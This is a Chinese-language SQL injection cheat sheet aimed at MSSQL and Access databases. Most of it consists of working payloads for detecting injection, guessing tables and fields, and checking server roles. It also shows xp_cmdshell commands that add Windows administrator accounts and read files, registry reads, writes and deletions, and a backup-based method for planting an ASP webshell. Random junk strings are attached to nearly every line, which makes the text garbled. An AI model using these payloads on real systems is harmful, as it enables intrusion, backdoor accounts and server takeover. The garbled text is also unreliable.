1.判断是否有注入;and 1=1 ;and 1=2 U`gQ7
2.初步判断是否是mssql ;and user>0 W/*2I3a
,TrrqCw>
3.注入参数是字符'and [查询条件] and ''=' dP8b\H
$umh&z/
4.搜索时没过滤参数的'and [查询条件] and '%25'=' WfbG }%&J
Y02 cX@K6
5.判断数据库系统 SKT f=rY
<~:Lp:6 J
;and (select count(*) from sysobjects)>0 mssql F
Qtlo+3
1r6>.&p
;and (select count(*) from msysobjects)>0 access >Mml+4<5
fhx_v^<X
HKA7|z9{
bLMN9wGOgK
6.猜数据库 ;and (select Count(*) from [数据库名])>0 Rv9oK-S
Uloa]X=Im8
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 "9=F/o9
!Pnvqgp/
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 $[zy|Y(
sSVgDQ~q
9.(1)猜字段的ascii值(access) yya"*]*S
}UwDHq=
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 asT*Z"/Q!
fIOI
(2)猜字段的ascii值(mssql) -phwzR\(t
J!?hajw7N
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 x1['+!01
HX1RA5O
10.测试权限结构(mssql) w6C0]vh
GX4HW \>a
)4oTA@wR
1EvAV,v"
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 'J+dTs;0
U
00}jH
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- }S{#DgZ@X
YJZViic
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ;B[*f?y-
/A3tY"Vn
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- X}?`G?'
lp`raNNo
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- #7S[Ch}O
ZJev_mj
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- P;R`22\3
_8$arjx=
;and 1=(select IS_MEMBER('db_owner'));-- }eA2y($N
~9.0:Fm<
BU|=`Kb|))
?#|Y'%a"
11.添加mssql和系统的帐户 Y`@:L'j
_~ m@ SI
;exec master.dbo.sp_addlogin username;-- #K1VPezN
;exec master.dbo.sp_password null,username,password;-- (8C
,"Dc[0
%<@."uWF*
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- I_"1.
w4YuijhW
;exec master.dbo.xp_cmdshell 'net user username password 9Xw(|22
"F/% {0d
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- 7~@q#]U[
w}="}Cb
;exec master.dbo.xp_cmdshell 'net user username password /add';-- ;0lHi4 c0
+an.z3?w
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- BM+v,hGY
'UGkL;
_hgu:
sqkk4w1#C
12.(1)遍历目录 uveby:dh
U_ j\UQC
;create table dirs(paths varchar(100), id int) Hk'D@(hS
p<#WueR[
;insert dirs exec master.dbo.xp_dirtree 'c:\' 5 rpX"(
feOX]g#
;and (select top 1 paths from dirs)>0 \XaKq8uE
qKX3Npw
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) m[~fT(NI
=aM(r6 C
~>:uMXyV2t
<-xI!o"}
(2)遍历目录 3z$9jN/<u
"M.\Z9BCt
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 'l,ym~R
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 B5'-v%YO+
v8Ga@*
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 ,tt]C~\u
jqULg iC
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 ttlFb]zZh
&)4#0L4
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 *c<=IcA
.!yXto:
[=dK%7v
WEgJ_dB
13.mssql中的存储过程 &jJj6
+P\
$j?zEz
xp_regenumvalues 注册表根键, 子键 e nsou!l
,,_$r7H`
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 r+6=b"
B%Pg:|
xp_regread 根键,子键,键值名 V^9c:!aI
p*F.WxB)4
;exec xp_regread
DEj6 ky
@LQe[`
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 nksx|i l
{OA2';3
xp_regwrite 根键,子键, 值名, 值类型, 值 .xnJT2uu'
]3B8D<p
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 L\1&$|?
u-yVc*<,
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 R(jp
b^WTX
xp_regdeletevalue 根键,子键,值名 Bf
{h\>q
/DxaKZ ;b
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 s,&tD
WU
sFhmp
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 .UJp#/EHs
8|FHr,
/CRZ
rVo0H.+N)`
14.mssql的backup创建webshell =1qM`M
K"lZwU\:On
use model "UUzLa_
;JQ:S~K9
create table cmd(str image); q]}fW)r
;onhc*{lv
insert into cmd(str) values (''); i7N|p9O.
qX,TX
3
backup database model to disk='c:\l.asp'; z"[}Sk
l_ Eeus
(MfPu8j
Qq,w6ekr
15.mssql内置函数 kkvG=
[FhFeW>
;and (select @@version)>0 获得Windows的版本号 QLr.5Wcg>
AXK6AZjX
;and user_name()='dbo' 判断当前系统的连接用户是不是sa 7RE'KH_$
IEbk_-h[
;and (select user_name())>0 爆当前系统的连接用户 ?<mxv"
}q-* Ls~
;and (select db_name())>0 得到当前连接的数据库 =8Bq2.nlR
Szz:$!t
.(D,CGtYb
S3cV^CzNg
16.简洁的webshell HN7C+e4U~
X:3W9`s)*
use model s2`:NS
-SF*DZ
create table cmd(str image); ~57.0?IK
l)1FCDV
insert into cmd(str) values (''); x^ 0MEsR
Ze?(N~
backup database model to disk='g:\wwwtest\l.asp';